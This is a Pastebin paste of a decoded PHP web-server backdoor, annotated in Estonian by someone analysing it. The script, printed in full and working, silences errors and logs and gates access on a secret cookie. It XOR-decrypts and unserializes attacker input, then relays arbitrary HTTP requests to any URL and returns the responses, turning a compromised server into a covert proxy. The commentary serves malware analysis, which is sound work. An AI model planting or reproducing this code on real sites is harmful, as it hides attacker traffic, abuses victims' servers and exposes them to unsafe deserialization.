Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- * Autor: Kristjan Aas
- * decodedPayLoad
- */
- @ini_set('display_errors',0);
- @ini_set('log_errors',0);
- @error_reporting(0);
- @set_time_limit(0);
- @ignore_user_abort(1);
- @ini_set('max_execution_time',0);
- /*
- * Loopime läbi küpsistest, kui leidub küpsis siis väljume PHP skriptist
- */
- foreach ($_COOKIE as $item)
- {
- if ($item != "4cb3d317-eb3a-4b1d-8f83-6ec0ae114e90")
- exit();
- }
- /*
- * Korjame muutuja sisendiks POST või GET meetodil saadetud päringu väärtuse
- */
- $data = file_get_contents('php://input');
- /*
- * Eraldame algse muutuja sisendi Strin'gi tükikaupa massiiviks, tükeldamise tingimuseks on "=" ja kogu massiivi sisuks on maksimaalselt 2 elementi, kus viimane massiivis olev väärtus
- * sisaldab ülejäänut String kujul
- * Mis tähendab, et POST'lt või GET'lt tulev väärtus peab olema näiteks kujul dasd3$@£$=sd9@£asdsa=@£$asasd(tegemist on arvmusega, pole ülevaadet reaalsest logist)
- */
- $data = split("=", $data, 2);
- /*
- * Laseme POST'lt või GET'lt tuleva töödel
- * Mis tähendab, et POST'lt või GET'lt tulev väärtus peab olema näiteks kujul dasd3$@£$=sd9@£asdsa=@£$asasd(tegemist on arvamusega, pole ülevaadet payload'ist reaalsest logist)
- * Järgmiseks laseme väljundi läbi base64_decode, mis eeldab, et urldecode'ist tulev väärtus on base64 kujul, tulemuseks on base64'jast dekodeeritud String
- */
- $b64_decode_data = base64_decode(urldecode($data[1]));
- /*
- * Laseme $b64_decode_data muutuja läbi decrypt funktsiooni (String)
- * decrypt funktsiooni väljundiks peab olema Serialiseeritud kujul String, sest see lastakse läbi unserialize funktsioonist.
- */
- $send_data = unserialize(decrypt($b64_decode_data));
- /*
- * Käivitame send_data1 funktsiooni, mille parameetriteks on $send_data de-serialiseeritud PHP väärtused
- */
- $result = send_data1 ($send_data);
- if (!$result)
- {
- /*
- * Kui send_data1 funktsioonil puudub väljund, käivitatakse send_data2 funktsioon, kuid see on tühi funktsioon, mille väljundiks pole midagi.
- */
- $result = send_data2($send_data);
- }
- echo $result;
- /*
- * Tegemist on XOR dekrüpteerijaga(põhineb bittide manipuleerimisel XOR)
- * Kahjuks ei oska ma veel öelda, mis on õigeks väljundiks, tundub, et siin on mingi oma struktuur sisendil, sest algset väljundit ma õigel kujul kätte ei saanud, selleks oleks vaja POST
- * või GET'i sisendit.
- */
- function decrypt($data)
- {
- /*
- * Defineerime muutuja $out_data, mis hoiab funktsiooni decrypt väljundit.
- */
- $out_data = "";
- /*
- * Defineerime muutuja $key, mille väärtuseks on domeeninimi, kust päringut töödeldakse ja URL koos praeguse PHP faili asukohaga(path), kaasaarvatud asukoha info ja päringu String.
- */
- $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
- /*
- * Võtme pikkus
- */
- $key_len = strlen($key);
- for ($i=0; $i < strlen($key); $i++)
- {
- $key[$i] = chr(ord($key[$i]) ^ ($key_len % 255));
- }
- for ($i=0; $i<strlen($data);)
- {
- for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
- {
- $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
- }
- }
- return $out_data;
- }
- /*
- * Juurde lisatud send_data1 funktsioon õigel kujul
- * Saadetakse POST/GET $data massiivis määratud URL'ile koos $data massiivis määratud sisuga, mille väärtused tulevad eelnevalt serialiseeritud String'ist de-serialiseerimisel.
- */
- function send_data1($data)
- {
- $head = "";
- foreach($data["headers"] as $key=>$value)
- {
- $head .= $key . ": " . $value . "\r\n";
- }
- $params = array('http' => array(
- 'method' => $data["method"],
- 'header' => $head,
- 'content' => $data["body"],
- 'timeout' => $data["timeout"],
- ));
- $ctx = stream_context_create($params);
- $result = @file_get_contents($data["url"], FALSE, $ctx);
- if ($http_response_header)
- {
- if (strpos($http_response_header[0], "200") === FALSE)
- {
- $result = "HTTP_ERROR\t" . $http_response_header[0];
- }
- }
- else
- {
- $result = "CONNECTION_ERROR";
- }
- return $result;
- }
- function send_data2($data)
- {
- // use sockets
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement